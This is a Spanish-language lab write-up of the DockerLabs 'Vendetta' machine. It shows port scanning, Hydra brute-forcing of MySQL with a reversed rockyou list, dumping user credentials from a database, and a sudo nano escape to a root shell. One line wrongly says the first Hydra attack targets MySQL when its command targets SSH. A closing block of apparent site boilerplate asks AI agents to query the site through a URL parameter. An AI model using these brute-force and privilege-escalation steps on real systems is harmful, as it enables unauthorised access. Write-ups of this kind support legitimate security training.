# Vendetta

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/9FPpDMJ1irnqb1BWrJWX" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH,** el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 3306** perteneciente al **servicio MySQL** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,3306 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/MbItaL8tNbxcvHY4GrRh" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página sobre alguien anónimo.

<figure><img src="/files/PUknSBVWXoP8nC8COHOb" alt=""><figcaption></figcaption></figure>

Revisando el código fuente me encuentro un detalle que me resulta la atención ya que lo tiene como una **strong** la **V** por lo que supongo que es un usuario.

<figure><img src="/files/STCO3fbD004nxAyyJurv" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l V -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **MySQL** de una máquina con la IP **172.17.0.2**. Observamos que tarda demasiado por lo que debe ser de las últimas contraseñas del diccionario por lo que realizamos los siguientes comandos.\
Volteamos el diccionario.

```bash
tac /usr/share/wordlists/rockyou.txt > diccionario
```

Quitamos espacios.

```bash
cat diccionario | sed 's/ //g' > rockyou
```

Realizamos el ataque de fuerza bruta con **Hydra** con ese diccionario creado.

```
hydra -l V -P rockyou mysql://172.17.0.2 -f
```

Obtenemos que la contraseña es **pie168**. Hacemos conexión a la MySQL.

```bash
mysql -h 172.17.0.2 -u V -pie168 --skip-ssl
```

Miramos si hay algún usuario con sus credenciales.

```bash
show databases;
use BTN;
show tables;
select * from users;
```

<figure><img src="/files/fTaM6qzh8ZAeldgs5vm0" alt=""><figcaption></figcaption></figure>

Hemos conseguido las credenciales de **Vendetta** y nos logueamos al servicio **SSH**.

```bash
ssh Vendetta@172.17.0.2
```

<figure><img src="/files/3tJqzsHvpmU5w81P2J2n" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.&#x20;

<figure><img src="/files/4ZemUBLfmuuac6IX99rS" alt=""><figcaption></figcaption></figure>

Nos llama la atención **nano** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/nano/#sudo)cómo explotarlo.

```bash
sudo /usr/bin/nano
Ctrl+R seguida de Ctrl+X
reset; sh 1>&0 2>&0
```

<figure><img src="/files/4mfsHWdKzIJVbdHnTRem" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/vendetta.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
